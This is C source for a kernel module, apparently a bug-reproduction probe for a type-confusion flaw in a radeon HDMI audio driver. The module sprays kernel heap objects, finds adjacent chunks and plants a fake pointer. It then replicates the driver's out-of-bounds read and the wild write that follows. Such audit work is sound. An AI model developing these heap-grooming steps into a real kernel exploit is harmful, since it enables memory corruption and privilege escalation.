/* * DF-4828 probe KLD - r600_hdmi.c enc_priv type confusion on the * interrupt-driven audio-work path (family of DF-4635, new sinks). * * Trigger path (race-free, no modeset needed): * audio IH event (r600.c:4341 / evergreen.c:4900 / rs600.c:821) * -> schedule_work(&rdev->audio_work) * -> r600_audio_update_hdmi() [r600_hdmi.c:114] * list_for_each_entry(encoder, ...) [r600_hdmi.c:132] * if (!radeon_encoder_is_digital(encoder)) continue; * -> TRUE for LCD-carrying KLDSCP_LVTMA/UNIPHY/LVTM1/TMDS1 * (radeon_encoders.c:423-443) * if (changed || r600_hdmi_buffer_status_changed(encoder)) * r600_hdmi_update_audio_settings(encoder) * * But for those encoders enc_priv is a 280-byte radeon_encoder_lvds* * (atombios_encoders.c:2860-2872, every digital encoder id whose devices * carry ATOM_DEVICE_LCD_SUPPORT), while r600_hdmi.c consumes it as a * 312-byte radeon_encoder_atom_dig*: * * r600_hdmi.c:283 dig = radeon_encoder->enc_priv; (no !dig guard) * r600_hdmi.c:286 if (!dig->afmt || !dig->afmt->enabled) OOB READ +288 * r600_hdmi.c:290 dig->afmt->last_buffer_filled_status != status * r600_hdmi.c:291 dig->afmt->last_buffer_filled_status = status WRITE * (r600_hdmi.c:271-274 dig->afmt->offset -> wild MMIO in the real hw) * (r600_hdmi.c:425-435 same OOB in update_audio_settings) * * sizeof(lvds)==280 -> 288-byte slab chunk, zero slack (kern_slaballoc.c * zoneindex, 32-byte granularity in the 256..512 range), so +288 reads * the FIRST 8 BYTES OF THE ADJACENT 288-byte chunk. This KLD reproduces * the exact geometry and the exact driver accesses on the live kernel * allocator: * * 1. sprays 280-byte objects, finds an adjacent pair A,B (B == A+288) * 2. case "garbage afmt": B[0..8) = &fake_afmt (groomable content) * -> replica of r600_hdmi_buffer_status_changed(): * OOB read returns &fake_afmt (non-NULL) * derefs fake_afmt->enabled (wild read via garbage ptr) * writes fake_afmt->last_buffer_filled_status twice (wild write) * 3. case "NULL afmt": B[0..8) = NULL -> early return 0 (the silent * case that hides the bug on most systems) */ #include #include #include #include #include #include #define NALLOC 8192 #define LVDS_SIZE 280 /* sizeof(struct radeon_encoder_lvds) */ #define CHUNK_SIZE 288 /* zoneindex: (280+31)&~31 */ #define AFMT_OFF 288 /* offsetof(radeon_encoder_atom_dig, afmt) */ /* * Structs verbatim from sys/dev/drm/radeon/radeon_mode.h (sizes verified * by r600_hdmi_offsets.c / DF-4635's machine-checked radeon_audio_offsets): * the relevant subset - atom_dig's afmt member sits at +288. */ struct radeon_afmt_probe { bool enabled; /* +0 */ int offset; /* +4 */ bool last_buffer_filled_status; /* +8 */ int id; /* +12 */ }; struct radeon_encoder_atom_dig_probe { char _pad[AFMT_OFF]; /* everything before afmt */ struct radeon_afmt_probe *afmt; /* +288 - aliases victim+0 */ }; static struct radeon_afmt_probe fake_afmt; /* attacker-groomed content */ /* * VERBATIM replica of r600_hdmi.c:280-294 (r600_hdmi_buffer_status_changed) * with 'encoder' unrolled to its 'enc_priv' member (the only field it * touches) and the HW read factored out (r600_hdmi_is_audio_buffer_filled * replica below). */ static int buffer_status_changed_replica( struct radeon_encoder_atom_dig_probe *enc_priv, int status) { struct radeon_encoder_atom_dig_probe *dig = enc_priv; int result; if (!dig->afmt || !dig->afmt->enabled) /* r600_hdmi.c:286 */ return 0; /* r600_hdmi.c:289-291 */ result = dig->afmt->last_buffer_filled_status != status; dig->afmt->last_buffer_filled_status = status; return result; } static int afmt_walk_handler(struct module *m, int what, void *arg) { void **v; int i, ai = -1, bi = -1; struct radeon_encoder_atom_dig_probe *lvds_as_dig; struct radeon_afmt_probe *got; switch (what) { case MOD_LOAD: v = kmalloc(sizeof(void *) * NALLOC, M_TEMP, M_WAITOK | M_ZERO); if (v == NULL) return ENOMEM; for (i = 0; i < NALLOC; i++) v[i] = kmalloc(LVDS_SIZE, M_TEMP, M_WAITOK); for (i = 0; i < NALLOC; i++) memset(v[i], 0xCC, LVDS_SIZE); kprintf("afmt_walk: %d objs of %d bytes; usable chunk = %ju " "(want %d)\n", NALLOC, LVDS_SIZE, (uintmax_t)kmalloc_usable_size(v[0]), CHUNK_SIZE); for (ai = 0; ai < NALLOC; ai++) { for (bi = 0; bi < NALLOC; bi++) { if (ai != bi && (uint8_t *)v[bi] == (uint8_t *)v[ai] + CHUNK_SIZE) goto found; } } kprintf("afmt_walk: no adjacent pair found\n"); for (i = 0; i < NALLOC; i++) kfree(v[i], M_TEMP); kfree(v, M_TEMP); return 0; found: /* * A = the 280-byte radeon_encoder_lvds (enc_priv of the * LCD-carrying digital encoder). B = the adjacent 288-byte * kernel object whose first 8 bytes dig->afmt (+288) reads. */ lvds_as_dig = (struct radeon_encoder_atom_dig_probe *)v[ai]; kprintf("afmt_walk: adjacent pair A=%p B=%p (B-A=%zd want %d)\n", v[ai], v[bi], (ssize_t)((uint8_t *)v[bi] - (uint8_t *)v[ai]), CHUNK_SIZE); /* ---- case 1: neighbor groomed with a fake afmt pointer ---- */ fake_afmt.enabled = true; fake_afmt.offset = 0x1234; fake_afmt.last_buffer_filled_status = false; fake_afmt.id = 0; *(void **)v[bi] = (void *)&fake_afmt; kprintf("afmt_walk: victim B[0..8) groomed to %p (fake afmt)\n", *(void **)v[bi]); got = *(struct radeon_afmt_probe **) ((uint8_t *)lvds_as_dig + AFMT_OFF); kprintf("afmt_walk: OOB READ dig->afmt (+%d) == %p " "(non-NULL -> guard at r600_hdmi.c:286 falls through)\n", AFMT_OFF, got); kprintf("afmt_walk: fake_afmt before: enabled=%d " "last_buffer_filled_status=%d\n", fake_afmt.enabled, fake_afmt.last_buffer_filled_status); /* the audited calls, with the HW status bit alternating */ (void)buffer_status_changed_replica(lvds_as_dig, 1); kprintf("afmt_walk: after call#1(status=1): " "last_buffer_filled_status=%d <- WILD WRITE via " "OOB-read pointer (r600_hdmi.c:291)\n", fake_afmt.last_buffer_filled_status); (void)buffer_status_changed_replica(lvds_as_dig, 0); kprintf("afmt_walk: after call#2(status=0): " "last_buffer_filled_status=%d\n", fake_afmt.last_buffer_filled_status); /* ---- case 2: neighbor zeroed (the silent case) ---- */ *(void **)v[bi] = NULL; kprintf("afmt_walk: victim B[0..8) zeroed -> OOB read NULL -> " "replica returns %d (silent; hides the bug)\n", buffer_status_changed_replica(lvds_as_dig, 1)); /* ---- update_audio_settings' guarded deref (trace only) ---- * r600_hdmi.c:433: if (!dig->afmt || !dig->afmt->enabled) return; * -> identical OOB read + deref; on real hw the following * offset = dig->afmt->offset feeds WREG32 MMIO offsets. */ *(void **)v[bi] = (void *)&fake_afmt; if (!(*(struct radeon_afmt_probe **)((uint8_t *)lvds_as_dig + AFMT_OFF))->enabled) { kprintf("afmt_walk: update_audio_settings replica: " "not enabled (unexpected)\n"); } else { kprintf("afmt_walk: update_audio_settings replica " "(r600_hdmi.c:433->435): dig->afmt->enabled " "deref SURVIVED, dig->afmt->offset == 0x%x " "-> would feed WREG32(HDMI0_* + offset) MMIO\n", (*(struct radeon_afmt_probe **)((uint8_t *) lvds_as_dig + AFMT_OFF))->offset); } for (i = 0; i < NALLOC; i++) kfree(v[i], M_TEMP); kfree(v, M_TEMP); kprintf("afmt_walk: done\n"); return 0; case MOD_UNLOAD: return 0; default: return EOPNOTSUPP; } } static moduledata_t afmt_walk_mod = { "afmt_walk", afmt_walk_handler, NULL }; DECLARE_MODULE(afmt_walk, afmt_walk_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);